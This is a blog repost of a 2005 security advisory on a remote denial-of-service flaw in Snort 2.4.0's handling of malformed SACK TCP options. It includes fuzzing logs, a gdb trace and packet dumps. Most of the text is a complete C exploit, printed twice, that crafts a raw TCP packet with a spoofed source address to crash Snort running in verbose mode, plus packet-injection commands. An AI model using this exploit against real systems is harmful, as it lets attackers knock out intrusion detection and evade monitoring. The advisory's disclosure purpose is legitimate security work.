Search This Blog

Tuesday, September 13, 2005

[UNIX] Snort SACK TCP Option Handling DoS

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -

Snort SACK TCP Option Handling DoS
------------------------------------------------------------------------

SUMMARY

<http://www.snort.org/> Snort is "an open source network intrusion
detection and prevention system". A vulnerability found in PrintTcpOptions
could allow an attacker to craft a malformed TCP/IP packet that would
remotely DoS Snort.

DETAILS

Vulnerable Systems:
* Snort version 2.4.0 and prior

A vulnerability exist in the PrintTcpOptions() function located in
snort-2.4.0/src/log.c
This could allow an attacker to craft a malformed TCP/IP packet and make a
DoS or totally crash Snort in a remote system. In order to exploit Snort
needs to run in verbose mode (switch -v).

After fuzzing Snort 2.4.0 with fuzzball2:
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

08/21-11:22:18.674064 0:0:0:0:0:0 -> 0:0:0:0:0:0 type:0x800 len:0x36
127.0.0.1:80 -> 127.0.0.1:29383 TCP TTL:64 TOS:0x0 ID:64 IpLen:20
DgmLen:40 DF
***A*R** Seq: 0x0 Ack: 0x4A2AC316 Win: 0x0 TcpLen: 20
0x0000: 00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00 ..............E.
0x0010: 00 28 00 40 40 00 40 06 3C 8E 7F 00 00 01 7F 00 .(.@@.@.<.......
0x0020: 00 01 00 50 72 C7 00 00 00 00 4A 2A C3 16 50 14 ...Pr.....J*..P.
0x0030: 00 00 31 76 00 00 ..1v..

-+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

08/21-11:22:18.676194 0:0:0:0:0:0 -> 0:0:0:0:0:0 type:0x800 len:0x3A
127.0.0.1:29383 -> 127.0.0.1:80 TCP TTL:255 TOS:0x0 ID:48207 IpLen:20
DgmLen:44
******S* Seq: 0xCC1016F Ack: 0x43F18422 Win: 0x16D0 TcpLen: 24
TCP Options (2) => Violaci n de segmento

The process catch a SIGSEGV signal, ok, now we need to know what packet
number crash Snort:

root@blackb0x # snort -veX -i lo -q > DUMP.log
Violaci n de segmento
root@blackb0x # grep 127 DUMP.log | wc -l
123

At this moment we know that packet number 123 is the evil (may change) hu!
;)...
Attaching Snort to GDB:

root@blackb0x # gdb -q snort
Using host libthread_db library /lib/tls/i686/cmov/libthread_db.so.1".
(gdb) r -veX -i lo
Starting program: /usr/local/bin/snort -veX -i lo
..SNIPED...
08/21-11:25:40.328775 0:0:0:0:0:0 -> 0:0:0:0:0:0 type:0x800 len:0x3A
127.0.0.1:29383 -> 127.0.0.1:80 TCP TTL:255 TOS:0x0 ID:48207 IpLen:20
DgmLen:44
******S* Seq: 0xCC1016F Ack: 0x43F18422 Win: 0x16D0 TcpLen: 24
TCP Options (2) =>
Program received signal SIGSEGV, Segmentation fault.
0x0804fef2 in PrintTcpOptions (fp=0xb7f8f120, p=0xbffff360) at log.c:1543
1543 memcpy(tmp, p->tcp_options[i].data, 2);
(gdb) print tmp
$1 = "\000\000\000\000"
(gdb) print p
$2 = (Packet *) 0xbffff360
(gdb) print i
$3 = 0
(gdb) print p->tcp_options[i]
$4 = {code = 5 '\005', len = 0 '\0', data = 0x0}
(gdb) print p->tcp_options[i].code
$3 = 5 '\005'
(gdb) x/4b p->tcp_options_data
0x824edd0: 0x05 0x02 0x00 0x00

The error is in line 1543 from log.c:

root@blackb0x:/home/nitrous/software/snort-2.4.0/src # cat -n log.c | grep
-C 10 1543
1533 case TCPOPT_NOP:
1534 fwrite("NOP ", 4, 1, fp);
1535 break;
1536
1537 case TCPOPT_WSCALE:
1538 fprintf(fp, "WS: %u ", p->tcp_options[i].data[0]);
1539 break;
1540
1541 case TCPOPT_SACK:
1542 bzero((char *) tmp, 5);
1543 memcpy(tmp, p->tcp_options[i].data, 2);
1544 fprintf(fp, "Sack: %u@", EXTRACT_16BITS(tmp));
1545 bzero((char *) tmp, 5);
1546 memcpy(tmp, (p->tcp_options[i].data) + 2, 2);
1547 fprintf(fp, "%u ", EXTRACT_16BITS(tmp));
1548 break;
1549
1550 case TCPOPT_SACKOK:
1551 fwrite("SackOK ", 7, 1, fp);
1552 break;

Reading the GDB's output found that p->tcp_options[i].code value is 5
(TCPOPT_SACK).

Analyzing the Raw packet with tcpdump:
#tcpdump -i lo -eXX -c 123 | tail -5
11:17:53.093264 ip: 127.0.0.1.29383 > 127.0.0.1.80: S
213975407:213975407(0) win 5840

0000: 4500 002c bc4f 0000 ff06 017a 7f00 0001 E.., O.. ..z....
0010: 7f00 0001 72c7 0050 0cc1 016f 43f1 8422 ....r .P. .oC ."
0020: 6002 16d0 3caf 0000 0502 0000 `..

Suspecting the last 4 bytes are the evil we make our own packet:
root@blackb0x # printf "\x05\x02\x00\x00" > payload
root@blackb0x # nemesis tcp -S 33.33.33.33 -D 127.0.0.1 -x 31337 -y 64876
-o ./payload
TCP Packet Injected

And again, the result:

root@blackb0x # snort -veX -i lo -q
08/21-11:54:34.449751 0:0:0:0:0:0 -> 0:0:0:0:0:0 type:0x800 len:0x3A
33.33.33.33:31337 -> 127.0.0.1:64876 TCP TTL:255 TOS:0x0 ID:61316 IpLen:20
DgmLen:44
******S* Seq: 0x46FE88E2 Ack: 0x1494CF39 Win: 0x1000 TcpLen: 24
TCP Options (2) => Violaci n de segmento

But the flaw doesn't appear to effect IDS mode in standard configurations
(without -v flag):

root@blackb0x # snort -c etc/snort.conf -D
root@blackb0x # ps aux | grep snort
root 9947 5.3 31.6 38616 34720 ? Ss 11:24 0:00 snort -c
etc/snort.conf -D
root 9949 0.0 0.6 3384 760 pts/1 S+ 11:24 0:00 grep
snort
root@blackb0x # ./snortrigger localhost
-=[ Snort <= 2.4.0 Trigger p0c
-=[ By nitr0us

-=[ Sending Malformed TCP/IP Packet...
-=[ Sent 44 bytes to localhost
-=[ Snort killed !
root@blackb0x # ps aux | grep snort
root 9947 1.9 31.6 38616 34736 ? Ss 11:24 0:00 snort -c
etc/snort.conf -D
root 9952 0.0 0.6 3384 760 pts/2 S+ 11:24 0:00 grep
snort

Proof of Concept Code:
/*_------------------------------------------_
||------+ Snort <= 2.4.0 Trigger p0c +------||
||__________________________________________||
||--=[ nitrous [at] vulnfact [dot] com ]=--||
||--=[ VulnFact Security Labs ]=--||
||--=[ 21 Ago 2oo5 ]=--||
||--=[ Mexico ]=--||
||__________________________________________||
-__________________________________________-

Snort <= 2.4.0 SACK TCP Option Error Handling
Este c digo envia al especificado un paquete TCP/IP con 4 bytes extras
correspondientes al campo TCP Options [TCP Header].
Estos 4 bytes son "\x05\x02\x00\x00". NOTA !!!: Snort solamente cae cuando
se
esta corriendo en verbose mode (-v).

Esto solo funciona testeando de una maquina a otra directamente conectadas
(1 solo salto; Ej. En una red LAN de PC a PC). No funciona desde Internet,
por
que el campo TCP->th_sum es 0 (cero), por lo tanto, el primer Router por
donde
pase este paquete lo descartara por no tener una checksum valida.

RFC #1072 - TCP Extensions for Long-Delay Paths

3.2- TCP SACK Option:
..
Kind: 5
Length: Variable
+--------+--------+--------+--------+--------+--------+
| Kind=5 | Length | Relative Origin | Block Size |
+--------+--------+--------+--------+--------+--------+

Analizando el packete con 'tcpdump' en OpenBSD 3.5 vemos:
11:17:53.093264 ip: 127.0.0.1.29383 > 127.0.0.1.80: S
213975407:213975407(0) win 5840
<malformed sack [len 0] ,eol>
0000: 4500 002c bc4f 0000 ff06 017a 7f00 0001 E.., O.. ..z....
0010: 7f00 0001 72c7 0050 0cc1 016f 43f1 8422 ....r .P. .oC ."
0020: 6002 16d0 3caf 0000 0502 0000 `.. < ......

Testeado en:
[+] snort 2.4.0 @ OpenBSD 3.7 GENERIC // Yeah ;)
[+] snort 2.4.0 @ Ubuntu Linux 5.04 "Hoary Hedgehog"
[+] snort 2.3.2 @ Debian Linux 3.1 "Sarge"
[+] snort 2.3.0 @ Ubuntu Linux 5.04 "Hoary Hedgehog"
[+] snort 2.3.0 @ Red Hat Linux 9
[+] snort 2.2.0 @ Ubuntu Linux 5.04 "Hoary Hedgehog"
[+] snort 2.0.0 @ OpenBSD 3.5 GENERIC

Saludos a vulnfact.com, CRAc, stacked, ran, dex, benn, beck, zlotan,
Rowter, Gus, Crypkey,
protoloco, Falckon, dymitri, #cum ppl, warlord/nologin.org por fuzzball2
fuzzer, gcarrillog,
JSS, y en especial a Mariit@ ( Sexy Colombiana ;) ). A la musica de
"Sussie 4" ;)...
Federico L. Bossi Bonin
*/

#include<stdio.h>
#include<string.h>
#include<unistd.h>
#include<errno.h>
#include<netdb.h>
#include<sys/types.h>
#include<sys/socket.h>
#include<netinet/in.h>
//#define __USE_BSD 1 /* Use BSD's ip header style */
#include<netinet/ip.h>
#define __FAVOR_BSD 1 /* Use BSD's tcp header style */
#include<netinet/tcp.h>

#define IPSIZE sizeof(struct ip)
#define TCPSIZE sizeof(struct tcphdr)
#define DEFAULT_SRC_IP "200.31.33.70"

char trigger[] = "\x05\x02\x00\x00"; /* Malformed SACK TCP Option */

int usage(char *name)
{
fprintf(stderr, "Usage: %s <target> [spoofed srcip]\n", name);
fprintf(stderr, "\t\tDefault srcip = %s\n", DEFAULT_SRC_IP);

return 0;
}

int main(int argc, char **argv)
{
char *packet= (char *) malloc(IPSIZE + TCPSIZE + 4);
char *srcip = DEFAULT_SRC_IP;
int sockfd, count;
int one = 1; /* setsockopt() */
struct sockaddr_in target;
struct hostent *host2ip;
struct ip *IP = (struct ip *) packet;
struct tcphdr *TCP = (struct tcphdr *) (packet + IPSIZE);

if(argc < 2)
return(usage(*argv));

if(argc == 3)
srcip = argv[2];

if((host2ip = gethostbyname(argv[1])) == NULL){
perror("gethostbyname");
exit(-1);
}

if(getuid() != 0){
fprintf(stderr, "Ups!, must be r00t to perform RAW sockets\n");
exit(-1);
}

memset(packet, 0x00, sizeof(packet));

memset(&target, 0x00, sizeof(target));
target.sin_family = AF_INET;
target.sin_port = htons(64876);
target.sin_addr = *((struct in_addr *)host2ip->h_addr);

/*** BUILDING MALFORMED PACKET ***/
IP->ip_hl = 0x05;
IP->ip_v = 0x04;
IP->ip_tos = 0x00;
IP->ip_len = IPSIZE + TCPSIZE + 4;
IP->ip_id = 0x00;
IP->ip_off = 0x00;
IP->ip_ttl = 0xff;
IP->ip_p = IPPROTO_TCP;
IP->ip_sum = 0x00;
IP->ip_src.s_addr = inet_addr(srcip);
IP->ip_dst.s_addr = target.sin_addr.s_addr;

TCP->th_sport = htons(31337);
TCP->th_dport = target.sin_port;
TCP->th_seq = 0x00;
TCP->th_ack = 0x00;
TCP->th_x2 = 0x00;
TCP->th_off = 0x06;
TCP->th_flags = 0x00; /* NO Syn ;) */
TCP->th_win = htons(0xffff);
TCP->th_sum = 0x00;
TCP->th_urp = 0x00;

memcpy(packet + IPSIZE + TCPSIZE, trigger, 4);
/*** END ***/

if((sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_TCP)) == -1){
perror("socket");
exit(-1);
}

if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) == -1){
perror("setsockopt");
exit(-1);
}

printf("-=[ Snort <= 2.4.0 Trigger p0c\n");
printf("-=[ By nitr0us <nitrous[at]vulnfact[dot]com>\n\n");
printf("-=[ Sending Malformed TCP/IP Packet...\n");

if((count = sendto(sockfd, packet, IP->ip_len, 0, (struct sockaddr
*)&target, sizeof(target))) == -1){
perror("sendto");
close(sockfd);
exit(-1);
}

printf("-=[ Sent %d bytes to %s\n", count, argv[1]);
printf("-=[ Snort killed !\n");

close(sockfd);
return 0;
}

Disclosure Timeline:
Flaw Discovered: 20/08/2005.
Vendor Notification: 22/08/2005.
Vendor Response: 23/08/2005.
Date Published: 11/09/2005.

Exploit Code:
/*_----------------------------------------------
||------+ Snort <= 2.4.0 Trigger p0c +-------
||___________________________________
||--=[ nitrous [at] vulnfact [dot] com ]=--
||--=[ VulnFact Security Labs ]=--
||--=[ 21 Ago 2oo5 ]=--
||--=[ Mexico ]=--
||__________________________________________
-__________________________________________-

Snort <= 2.4.0 SACK TCP Option Error Handling
Este c digo envia al especificado un paquete TCP/IP con 4 bytes extras
correspondientes al campo TCP Options [TCP Header].
Estos 4 bytes son "\x05\x02\x00\x00". NOTA !!!: Snort solamente cae cuando
se
esta corriendo en verbose mode (-v).

Esto solo funciona testeando de una maquina a otra directamente conectadas
(1 solo salto; Ej. En una red LAN de PC a PC). No funciona desde Internet,
por
que el campo TCP->th_sum es 0 (cero), por lo tanto, el primer Router por
donde
pase este paquete lo descartara por no tener una checksum valida.

RFC #1072 - TCP Extensions for Long-Delay Paths

3.2- TCP SACK Option:
..
Kind: 5
Length: Variable
+--------+--------+--------+--------+--------+--------+
| Kind=5 | Length | Relative Origin | Block Size |
+--------+--------+--------+--------+--------+--------+

Analizando el packete con 'tcpdump' en OpenBSD 3.5 vemos:
11:17:53.093264 ip: 127.0.0.1.29383 > 127.0.0.1.80: S
213975407:213975407(0) win 5840
<malformed sack [len 0] ,eol>
0000: 4500 002c bc4f 0000 ff06 017a 7f00 0001 E.., 'O.. ..z....
0010: 7f00 0001 72c7 0050 0cc1 016f 43f1 8422 ....r .P. .oC ."
0020: 6002 16d0 3caf 0000 0502 0000 `.. < ......

Testeado en:
[+] snort 2.4.0 @ OpenBSD 3.7 GENERIC // Yeah ;)
[+] snort 2.4.0 @ Ubuntu Linux 5.04 "Hoary Hedgehog"
[+] snort 2.3.2 @ Debian Linux 3.1 "Sarge"
[+] snort 2.3.0 @ Ubuntu Linux 5.04 "Hoary Hedgehog"
[+] snort 2.3.0 @ Red Hat Linux 9
[+] snort 2.2.0 @ Ubuntu Linux 5.04 "Hoary Hedgehog"
[+] snort 2.0.0 @ OpenBSD 3.5 GENERIC

Saludos a vulnfact.com, CRAc, stacked, ran, dex, benn, beck, zlotan,
Rowter, Gus, Crypkey,
protoloco, Falckon, dymitri, #cum ppl, warlord/nologin.org por fuzzball2
fuzzer, gcarrillog,
JSS, y en especial a Mariit@ ( Sexy Colombiana ;) ). A la musica de
"Sussie 4" ;)...
Federico L. Bossi Bonin
*/

#include<stdio.h>
#include<string.h>
#include<unistd.h>
#include<errno.h>
#include<netdb.h>
#include<sys/types.h>
#include<sys/socket.h>
#include<netinet/in.h>
//#define __USE_BSD 1 /* Use BSD's ip header style */
#include<netinet/ip.h>
#define __FAVOR_BSD 1 /* Use BSD's tcp header style */
#include<netinet/tcp.h>

#define IPSIZE sizeof(struct ip)
#define TCPSIZE sizeof(struct tcphdr)
#define DEFAULT_SRC_IP "200.31.33.70"

char trigger[] = "\x05\x02\x00\x00"; /* Malformed SACK TCP Option */

int usage(char *name)
{
fprintf(stderr, "Usage: %s <target> [spoofed srcip]\n", name);
fprintf(stderr, "\t\tDefault srcip = %s\n", DEFAULT_SRC_IP);

return 0;
}

int main(int argc, char **argv)
{
char *packet= (char *) malloc(IPSIZE + TCPSIZE + 4);
char *srcip = DEFAULT_SRC_IP;
int sockfd, count;
int one = 1; /* setsockopt() */
struct sockaddr_in target;
struct hostent *host2ip;
struct ip *IP = (struct ip *) packet;
struct tcphdr *TCP = (struct tcphdr *) (packet + IPSIZE);

if(argc < 2)
return(usage(*argv));

if(argc == 3)
srcip = argv[2];

if((host2ip = gethostbyname(argv[1])) == NULL){
perror("gethostbyname");
exit(-1);
}

if(getuid() != 0){
fprintf(stderr, "Ups!, must be r00t to perform RAW sockets\n");
exit(-1);
}

memset(packet, 0x00, sizeof(packet));

memset(&target, 0x00, sizeof(target));
target.sin_family = AF_INET;
target.sin_port = htons(64876);
target.sin_addr = *((struct in_addr *)host2ip->h_addr);

/*** BUILDING MALFORMED PACKET ***/
IP->ip_hl = 0x05;
IP->ip_v = 0x04;
IP->ip_tos = 0x00;
IP->ip_len = IPSIZE + TCPSIZE + 4;
IP->ip_id = 0x00;
IP->ip_off = 0x00;
IP->ip_ttl = 0xff;
IP->ip_p = IPPROTO_TCP;
IP->ip_sum = 0x00;
IP->ip_src.s_addr = inet_addr(srcip);
IP->ip_dst.s_addr = target.sin_addr.s_addr;

TCP->th_sport = htons(31337);
TCP->th_dport = target.sin_port;
TCP->th_seq = 0x00;
TCP->th_ack = 0x00;
TCP->th_x2 = 0x00;
TCP->th_off = 0x06;
TCP->th_flags = 0x00; /* NO Syn ;) */
TCP->th_win = htons(0xffff);
TCP->th_sum = 0x00;
TCP->th_urp = 0x00;

memcpy(packet + IPSIZE + TCPSIZE, trigger, 4);
/*** END ***/

if((sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_TCP)) == -1){
perror("socket");
exit(-1);
}

if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) == -1){
perror("setsockopt");
exit(-1);
}

printf("-=[ Snort <= 2.4.0 Trigger p0c\n");
printf("-=[ By nitr0us <nitrous[at]vulnfact[dot]com>\n\n");
printf("-=[ Sending Malformed TCP/IP Packet...\n");

if((count = sendto(sockfd, packet, IP->ip_len, 0, (struct sockaddr
*)&target, sizeof(target))) == -1){
perror("sendto");
close(sockfd);
exit(-1);
}

printf("-=[ Sent %d bytes to %s\n", count, argv[1]);
printf("-=[ Snort killed !\n");

close(sockfd);
return 0;
}

Related Links:
* <http://www.vulnfact.com/exploits/snortrigger.c> Proof of Concept code
* <http://www.nologin.org/main.pl?action=codeView&codeId=54& > Fuzzball2
TCP/IP Options Fuzzer
* <ftp://ftp.rfc-editor.org/in-notes/rfc1072.txt> RFC #1072 - TCP
Extensions for Long-Delay Paths
* <http://www.iana.org/assignments/tcp-parameters> TCP Option Numbers

ADDITIONAL INFORMATION

The information has been provided by <mailto:nitrous@vulnfact.com>
nitrous.
The original article can be found at:
<http://www.vulnfact.com/advisories/snort_adv.html>
http://www.vulnfact.com/advisories/snort_adv.html
The exploit code:
<http://www.frsirt.com/exploits/20050912.snortsackdos.c.php>
http://www.frsirt.com/exploits/20050912.snortsackdos.c.php

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

No comments: